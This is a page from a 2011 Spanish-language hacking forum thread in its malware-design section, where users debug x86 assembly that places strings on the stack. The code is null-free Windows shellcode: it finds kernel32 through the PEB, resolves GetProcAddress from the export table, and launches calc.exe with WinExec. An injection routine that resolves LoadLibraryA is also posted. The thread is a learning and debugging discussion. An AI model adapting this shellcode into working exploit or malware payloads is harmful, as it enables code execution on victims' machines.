elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Píldoras formativas en seguridad de la información


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  duda de cómo se introducen cadenas en la pila (manualmente).
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] Ir Abajo Respuesta Imprimir
Autor Tema: duda de cómo se introducen cadenas en la pila (manualmente).  (Leído 8,684 veces)
Иōҳ


Desconectado Desconectado

Mensajes: 563


Ver Perfil
Re: duda de cómo se introducen cadenas en la pila (manualmente).
« Respuesta #20 en: 3 Abril 2011, 06:38 »

Pero si el lío se lo metiste tú pusheando dos dword's al principio, y el quiso hacer lo mismo con una cadena de 7 bytes  :xD. Para pushear con bytes, no hay problema, para pushear con dwords puedes hacer lo que te dijo Karcrack de hacer un xor con el 'xoreado' o hacer lo que hizo Nox con un mov. O hacer lo que te dije yo, que ocupa menos con cadenas de más de 7 bytes, pero que deja nulos.

Saludos

creo que lo que quiere hacer el es una shellcode, por eso tanto lio de los bytes nullos, si es asi no podria usar el metodo de karcrack ni el tuyo, ya que karcrack usa una direccion creada en la sección .data, y especificamente para ella si el la querra usar G_G, bueno si usa la tuya ya sabemos bytes nullos D:.
Creo que ya sabe que hacer

Salu2!
« Última modificación: 3 Abril 2011, 06:43 por Иōҳ » En línea

Eres adicto a la Ing. Inversa? -> www.noxsoft.net
black_flowers

Desconectado Desconectado

Mensajes: 65


Ver Perfil
Re: duda de cómo se introducen cadenas en la pila (manualmente).
« Respuesta #21 en: 3 Abril 2011, 15:34 »

Os habéis ido del tema, no lo habéis entendido...
Código
  1. xor eax, eax
  2. push eax
  3. push byte 0x63;  'c'
  4. push byte 0x65;  'e'
  5. push byte 0x78;  'x'
  6. push byte 0x45;  'E'
  7. push byte 0x6e;  'n'
  8. push byte 0x69;  'i'
  9. push byte 0x57;  'W'
  10. mov eax, esp
  11.  

Al introducir "push eax" lo que hacemos es meter el byte nulo, lo que es equivalente a poner "string BLAHBLAH, 0", que es lo que queréis.
Si no lo entendéis, PM.
Un saludo. Sagrini

PS1: He puesto lo de byte para que no haya nulos entre medias, por si acaso...
PS2: Aparte, los pongo uno a uno porque son 7 bytes. Se podrían poner divididos en un WORD y tres bytes, pero no tengo ganas ;)...

push byte 57h ; esta instruccion no esta permitida en masm. hay que mandar 4 bytes en cada push.
En línea

black_flowers

Desconectado Desconectado

Mensajes: 65


Ver Perfil
Re: duda de cómo se introducen cadenas en la pila (manualmente).
« Respuesta #22 en: 3 Abril 2011, 15:38 »

bien bien pero parece que no resolvimos ese problema de tu code el del principio mira yo use este code para loadlibrary, y me funciona perfectamente checa como le reservo la pila... si solo cambias los caracteres debe funcionar

Código
  1. ;00402044  4C 6F 61 64 4C 69 62 72  LoadLibr
  2. ;0040204C  61 72 79 41 00           aryA.
  3.  
  4. mov ebp,esp; ebp puntero al stack
  5. sub esp, 0Dh; reservamos espacio
  6. xor ecx,ecx
  7. mov byte ptr [ebp - 0Dh], 4Ch
  8. mov byte ptr [ebp - 0Ch], 6Fh
  9. mov byte ptr [ebp - 0Bh], 61h
  10. mov byte ptr [ebp - 0Ah], 64h
  11. mov byte ptr [ebp - 09h], 4Ch
  12. mov byte ptr [ebp - 08h], 69h
  13. mov byte ptr [ebp - 07h], 62h
  14. mov byte ptr [ebp - 06h], 72h
  15. mov byte ptr [ebp - 05h], 61h
  16. mov byte ptr [ebp - 04h], 72h
  17. mov byte ptr [ebp - 03h], 79h
  18. mov byte ptr [ebp - 02h], 41h
  19. mov byte ptr [ebp - 01h], cl
  20. lea ecx, dword ptr [ebp - 0Dh]
  21.  
  22. push ecx
  23. push edx; BaseKernel
  24. call ebx; GPA
  25. add esp, 0Dh; Balanceamos la pila

pd: la pila se balancea para poder evitar errores, puede que haya un tipo de seguridad que mire la pila, y si a la hora de volver por ejemplo al programa la pila no esta como antes crash! y aunque no te de ese problema cuando lo haces una aplicacion autonoma, es por buena costumbre que lo harias :).

Salu2!

este metodo es el que utilizo yo, solo que cuando balanceo la pila incomprensiblemente no me funciona. En cambio cuando no la balanceo si funciona. Algo debe de andar mal en la pila, aquí pongo los codigos:
este funciona (y eso que no balanceo la pila):
Código:
.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive
assume fs:nothing

.code
start:

; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
      xor ebx, ebx    ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
      mov ebx, fs:[ebx+30h]
      mov ebx, [ebx+0Ch]
      mov ebx, [ebx+1Ch]
      mov ebx, [ebx] 
      mov ebx, [ebx]
      mov ebx, [ebx+08h]
      mov eax, ebx
      push eax ; guardamos en la pila la direccion base de kernel32.dll

; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
   mov esi, [esp] ; puntero a la direccion base
   add esi, [esi+03Ch] ; puntero a PE signature
   mov edx, [esi+078h] ; puntero a la Export table
   add edx, [esp] ; sumamos la direccion base

   mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
   add ecx, 1fh
   inc ecx
   mov ebx, [ecx] ; puntero al array AddressOfNames
   add ebx, [esp]
   xor eax, eax ; indice de AddressOfNames

bucle_funcion: ; buscamos la funcion a partir de la direccion base
   mov edi, [ebx]
   add edi, [esp]

   ; como ya no usamos el segmento .data, comparamos directamente el nombre de
   ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
   ; tenemos que separar en un dword, un word y un byte, para que no nos coja
   ; ningun caracter nulo
   cmp dword ptr [edi], 50746547h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 4], 41636f72h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 8], 65726464h
   jnz funcion_no_encontrada
   cmp word ptr [edi + 12], 7373h
   je funcion_encontrada
   
funcion_no_encontrada:
   nop ; ponemos un NOP aqui porque tras depurar con el Olly
; vi que usaba \x09 (tabulador) y me rompia la shellcode
; de esta forma amplio el salto en un byte y en lugar de
; 09 pondra 0A
   add ebx, 4
   inc eax
   cmp eax, dword ptr [edx+18h]
   jnz bucle_funcion

funcion_encontrada:
   mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
   add esi, [esp] ; añadimos la direccion base
   xor ecx, ecx
   mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
   mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
   add edi, [esp] ; añadimos la direccion base
   mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
   add eax, [esp] ; añadimos la direccion base y tenemos la direccion de getprocadress en eax
   
; ******************************************************************************************************************************************
; programa principal
; ******************************************************************************************************************************************

   mov esi, [esp];************************************************************obtener dirección de winexec**********************************
   xor dl, dl
   sub esp, 0bh ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   mov ebx,eax
   call eax ; llamamos a getprocadress
   
   xor dl, dl;******************************************************************ejecutar winexec(calc.exe)*********************************
   sub esp, 11h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-09h], 63h  ; 'c'
   mov byte ptr [ebp-08h], 61h  ; 'a'
   mov byte ptr [ebp-07h], 6Ch  ; 'l'
   mov byte ptr [ebp-06h], 63h  ; 'c'
   mov byte ptr [ebp-05h], 2Eh  ; '.'
   mov byte ptr [ebp-04h], 65h  ; 'e'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-09h] ; cargamos la direccion que apunta a nuestra cadena
   push 5   ;parametro de winexec (show)
   push ecx
   call eax    ;llamamos a winexec

   xor dl, dl;******************************************************************salir del programa con exitprocess*************************
   sub esp, 20h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-12h], 45h  ; 'E'
   mov byte ptr [ebp-11h], 78h  ; 'x'
   mov byte ptr [ebp-10h], 69h  ; 'i'
   mov byte ptr [ebp-0fh], 74h  ; 't'
   mov byte ptr [ebp-0eh], 50h  ; 'P'
   mov byte ptr [ebp-0dh], 72h  ; 'r'
   mov byte ptr [ebp-0ch], 6fh  ; 'o'
   mov byte ptr [ebp-0bh], 63h  ; 'c'
   mov byte ptr [ebp-0ah], 65h   ; 'e'
   mov byte ptr [ebp-09h], 73h   ; 's'
   mov byte ptr [ebp-08h], 73h   ; 's'
   mov byte ptr [ebp-07h], dl   ; '0'
   lea ecx, [ebp-12h] ; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call ebx ; llamamos a getprocadress
                    ;obtenemos direccion de exitprocess
   xor ecx, ecx
   push ecx
   call eax        ;llamamos a exitprocess
 
end start

;ml -c -coff -Cp c:\shellcodes\shellcode.asm
;link /SUBSYSTEM:WINDOWS shellcode.obj

y este encambio no funciona y eso que sí, balanceo la pila y guardo el espacio justo para cada cadena:
Código:
.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive
assume fs:nothing

.code
start:

; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
      xor ebx, ebx    ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
      mov ebx, fs:[ebx+30h]
      mov ebx, [ebx+0Ch]
      mov ebx, [ebx+1Ch]
      mov ebx, [ebx] 
      mov ebx, [ebx]
      mov ebx, [ebx+08h]
      mov eax, ebx
      push eax ; guardamos en la pila la direccion base de kernel32.dll

; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
   mov esi, [esp] ; puntero a la direccion base
   add esi, [esi+03Ch] ; puntero a PE signature
   mov edx, [esi+078h] ; puntero a la Export table
   add edx, [esp] ; sumamos la direccion base

   mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
   add ecx, 1fh
   inc ecx
   mov ebx, [ecx] ; puntero al array AddressOfNames
   add ebx, [esp]
   xor eax, eax ; indice de AddressOfNames

bucle_funcion: ; buscamos la funcion a partir de la direccion base
   mov edi, [ebx]
   add edi, [esp]

   ; como ya no usamos el segmento .data, comparamos directamente el nombre de
   ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
   ; tenemos que separar en un dword, un word y un byte, para que no nos coja
   ; ningun caracter nulo
   cmp dword ptr [edi], 50746547h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 4], 41636f72h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 8], 65726464h
   jnz funcion_no_encontrada
   cmp word ptr [edi + 12], 7373h
   je funcion_encontrada
   
funcion_no_encontrada:
   nop ; ponemos un NOP aqui porque tras depurar con el Olly
; vi que usaba \x09 (tabulador) y me rompia la shellcode
; de esta forma amplio el salto en un byte y en lugar de
; 09 pondra 0A
   add ebx, 4
   inc eax
   cmp eax, dword ptr [edx+18h]
   jnz bucle_funcion

funcion_encontrada:
   mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
   add esi, [esp] ; añadimos la direccion base
   xor ecx, ecx
   mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
   mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
   add edi, [esp] ; añadimos la direccion base
   mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
   add eax, [esp] ; añadimos la direccion base y tenemos la direccion de getprocadress en eax
   
; ******************************************************************************************************************************************
; programa principal
; ******************************************************************************************************************************************

   mov esi, [esp];************************************************************obtener dirección de winexec**********************************
   push ebp
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 08h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, dword ptr [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
   mov ebx,eax     ;movemos getprocadress a ebx porque al volver del call se sobreescribe eax
   push ecx
   push esi       ;dirección base de kernel32
   call eax ; llamamos a getprocadress
   add esp, 08h
   pop ebp
 
   push ebp;******************************************************************ejecutar winexec(calc.exe)*********************************
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 09h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-09h], 63h  ; 'c'
   mov byte ptr [ebp-08h], 61h  ; 'a'
   mov byte ptr [ebp-07h], 6Ch  ; 'l'
   mov byte ptr [ebp-06h], 63h  ; 'c'
   mov byte ptr [ebp-05h], 2Eh  ; '.'
   mov byte ptr [ebp-04h], 65h  ; 'e'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, dword ptr [ebp-09h] ; cargamos la direccion que apunta a nuestra cadena
   push 5   ;parametro de winexec (show)
   push ecx
   call eax    ;llamamos a winexec
   add esp, 09h
   pop ebp
 
   push ebp;******************************************************************salir del programa con exitprocess*************************
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 0ch ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-0ch], 45h  ; 'E'
   mov byte ptr [ebp-0bh], 78h  ; 'x'
   mov byte ptr [ebp-0ah], 69h  ; 'i'
   mov byte ptr [ebp-09h], 74h  ; 't'
   mov byte ptr [ebp-08h], 50h  ; 'P'
   mov byte ptr [ebp-07h], 72h  ; 'r'
   mov byte ptr [ebp-06h], 6fh  ; 'o'
   mov byte ptr [ebp-05h], 63h  ; 'c'
   mov byte ptr [ebp-04h], 65h   ; 'e'
   mov byte ptr [ebp-03h], 73h   ; 's'
   mov byte ptr [ebp-02h], 73h   ; 's'
   mov byte ptr [ebp-01h], dl   ; '0'
   lea ecx, dword ptr [ebp-0ch] ; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call ebx ; llamamos a getprocadress
                    ;obtenemos direccion de exitprocess
   xor ecx, ecx
   push ecx
   call eax        ;llamamos a exitprocess
add esp, 0ch
pop ebp
 
end start

;ml -c -coff -Cp c:\shellcodes\shellcode_pila_balanceada.asm
;link /SUBSYSTEM:WINDOWS shellcode_pila_balanceada.obj
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.082


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: duda de cómo se introducen cadenas en la pila (manualmente).
« Respuesta #23 en: 3 Abril 2011, 16:25 »

creo que lo que quiere hacer el es una shellcode, por eso tanto lio de los bytes nullos, si es asi no podria usar el metodo de karcrack ni el tuyo, ya que karcrack usa una direccion creada en la sección .data, y especificamente para ella si el la querra usar G_G, bueno si usa la tuya ya sabemos bytes nullos D:.
Creo que ya sabe que hacer

Salu2!

No, Karcrack no usa nada de la sección .data :S. Y bueno, si la shellcode no es para hacer malware, debería de ir en Bugs y Exploits, no aquí, así que bueno, para la próxima ya sabes.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Иōҳ


Desconectado Desconectado

Mensajes: 563


Ver Perfil
Re: duda de cómo se introducen cadenas en la pila (manualmente).
« Respuesta #24 en: 4 Abril 2011, 04:37 »

No, Karcrack no usa nada de la sección .data :S. Y bueno, si la shellcode no es para hacer malware, debería de ir en Bugs y Exploits, no aquí, así que bueno, para la próxima ya sabes.

Saludos

y nMagic donde lo declara? D:.. no se tal vez entendi mal  :-\, esta usando una direccion de memoria de su propia aplicacion pero para una shellcode creo que no sirviria no se corrijeme nunca he codeado una D:.

@black_flowers creo que le llevas dedica muxo tiempo, y esto amerita que te deje este code.. miralo y espero que resuelvas tus problemas :xD.

Código
  1. Inyeccion PROC
  2.  
  3. cdq; EDX=0
  4. mov EDX, fs:[edx+30h]; EDX = &PEB
  5. mov eax, [edx+0Ch]; EAX = PEB->PPEB_LDR_DATA
  6. mov esi, [eax+1Ch]; ESI = &PEB->PPEB_LDR_DATA->InInitializationOrderModuleList[0]
  7. SiguienteModulo:
  8. mov eax, [esi+08h]; EAX = PEB->PPEB_LDR_DATA->InInitializationOrderModuleList[i].BaseAddress
  9. mov edi, [esi+20h]; EDI = PEB->PPEB_LDR_DATA->InInitializationOrderModuleList[i]. NameModule
  10. mov esi, [esi]; ESI = PEB->PPEB_LDR_DATA->InInitializationOrderModuleList[i].flink (NextModule)
  11. cmp byte ptr[edi+6*2], '3'  ;// NameModule[6] == '3' ¿?
  12. jne SiguienteModulo
  13.  
  14. mov ebp,eax ; EBP = base kernel32
  15. assume eax: ptr IMAGE_DOS_HEADER
  16. add eax,[eax].e_lfanew; BaseKernel32 + 3Ch = PEHeader, Como es RVA + BaseKernel32
  17.  
  18. assume eax:ptr IMAGE_NT_HEADERS
  19. mov edi,[eax].OptionalHeader.DataDirectory[0].VirtualAddress; PEHeader + 78h = .edata
  20. add edi,ebp ;Como es RVA
  21.  
  22. assume edi:ptr IMAGE_EXPORT_DIRECTORY
  23. mov esi,[edi].AddressOfNames; .edata + 20h = AddressOfNames
  24. add esi,ebp ; Como es RVA
  25. xor edx,edx
  26. assume eax:nothing ; Para Evitar Errores
  27.  
  28. Busqueda:
  29. mov eax,[esi]
  30. add eax,ebp
  31. cmp word ptr [eax+0Ch],"ss"
  32. jne Siguiente
  33. cmp dword ptr [eax+04h], "Acor"
  34. jne Siguiente
  35. cmp dword ptr [eax+00h], "PteG"
  36. jne Siguiente
  37. cmp dword ptr [eax+08h], "erdd"
  38. jne Siguiente
  39. mov eax,[edi].AddressOfNameOrdinals; .edata + 24h = AofNamesOrdinal
  40. add eax,ebp ; Como es RVA
  41. movzx ebx,word ptr [edx*2+eax]; Como es una entrada de WORDS multiplico * 2 al contador
  42. ; EBX = Asi obtendremos el puntero al ordinal de la funcion GetProcAddress
  43. mov eax,[edi].AddressOfFunctions; .edata + 1Ch = AddressOfFunction
  44. add eax,ebp ; RVA ._.
  45. ;EAX = AddressOfFunction
  46. ;EBX Puntero al ordinal
  47. ;Multiplicamos *4 el puntero al ordinal de GPA porque la tabla es de dwords.
  48. mov ebx,[ebx*4+eax]; EBX = RVA de GetProcAddress
  49. add ebx,ebp ; EBX = GetProcAddress
  50. jmp Listo ; Salimos :)
  51.  
  52. Siguiente:
  53. add esi,4
  54. inc edx; EDX = CONTADOR
  55. cmp edx,[edi].NumberOfNames
  56. jne Busqueda
  57.  
  58. Listo:
  59. assume edi:nothing ; Evitamos Errores D=
  60. mov edx, ebp
  61.  
  62. ;00402044  4C 6F 61 64 4C 69 62 72  LoadLibr
  63. ;0040204C  61 72 79 41 00           aryA.
  64.  
  65. mov ebp, esp
  66. sub ebp, 10h
  67. mov byte ptr [ebp - 0Dh], 4Ch
  68. mov byte ptr [ebp - 0Ch], 6Fh
  69. mov byte ptr [ebp - 0Bh], 61h
  70. mov byte ptr [ebp - 0Ah], 64h
  71. mov byte ptr [ebp - 09h], 4Ch
  72. mov byte ptr [ebp - 08h], 69h
  73. mov byte ptr [ebp - 07h], 62h
  74. mov byte ptr [ebp - 06h], 72h
  75. mov byte ptr [ebp - 05h], 61h
  76. mov byte ptr [ebp - 04h], 72h
  77. mov byte ptr [ebp - 03h], 79h
  78. mov byte ptr [ebp - 02h], 41h
  79. mov byte ptr [ebp - 01h], 00h
  80. lea ecx, dword ptr [ebp - 0Dh]
  81.  
  82. push ecx
  83. push ebp
  84. call ebx;
  85. nop
  86. nop
  87. ret
  88.  
  89. Inyeccion endp

pd: agradezco la portabilidad ha... YSK... me ayudo sobre el peb :)
pd2: cuando hagas una shellcode si no me equivoco tiene que ser lo menos pesado posible (perdon por el horro de terminos =B), asi que como veras pasarle de manara la string no es muy buena que digamos asi que podes usar el no se el mov que te dije al principio.

Salu2! Nox
« Última modificación: 4 Abril 2011, 04:50 por Иōҳ » En línea

Eres adicto a la Ing. Inversa? -> www.noxsoft.net
black_flowers

Desconectado Desconectado

Mensajes: 65


Ver Perfil
Re: duda de cómo se introducen cadenas en la pila (manualmente).
« Respuesta #25 en: 4 Abril 2011, 10:39 »

gracias por el codigo nox, me viene de perlas para lo proximo que quiero hacer en donde voy a necesitar loadlibrary.

Por cierto ya he encontrado donde estaba el fallo con mi codigo anterior. Aunque no entiendo muy bienel porqué sé que era la pila que quedaba desbalanceada y petaba al llamar a la segunda funcion: winexec(calc.exe)
entonces esto era lo que estaba mal:
Código:
    push ebp
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 08h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, dword ptr [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
   mov ebx,eax     ;movemos getprocadress a ebx porque al volver del call se sobreescribe eax
   push ecx
   push esi       ;dirección base de kernel32
   call eax ; llamamos a getprocadress
   add esp, 08h
   pop ebp

y así está bien:
Código:
   mov esi, [esp]
   push ebp
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 07h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-07h], 57h  ; 'W'
   mov byte ptr [ebp-06h], 69h  ; 'i'
   mov byte ptr [ebp-05h], 6eh  ; 'n'
   mov byte ptr [ebp-04h], 45h  ; 'E'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], 63h  ; 'c'
   mov byte ptr [ebp-00h], dl   ; 0x00
   lea ecx, dword ptr [ebp-07h]
   mov ebx,eax     
   push ecx
   push esi       ;dirección base de kernel32
   call eax ; llamamos a getprocadress
   add esp, 07h
   pop ebp
había alguna clase de problema en el ajuste de las cadenas en la pila,

gracias x todo, y un saludo!
En línea

Páginas: 1 2 [3] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda acerca de la pila en VB
Programación Visual Basic
Krnl64 4 1,077 Último mensaje 21 Julio 2006, 13:38
por Krnl64
Como se introducen los comandos AT en un celular?
Hacking Mobile
ZuL'G 1 4,218 Último mensaje 12 Octubre 2008, 11:59
por SirGraham
[DUDA] mover a la pila
ASM
blackray 4 2,771 Último mensaje 10 Septiembre 2009, 03:07
por blackray
como hacer que no serepita un numero al agregarlo manualmente a un dataset
Programación Visual Basic
sharton2188angel 0 878 Último mensaje 28 Julio 2012, 18:19
por sharton2188angel
[Duda] Es posible descifrar MD5 manualmente?
Criptografía
hassuni 7 4,153 Último mensaje 17 Enero 2013, 17:20
por dimitrix
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines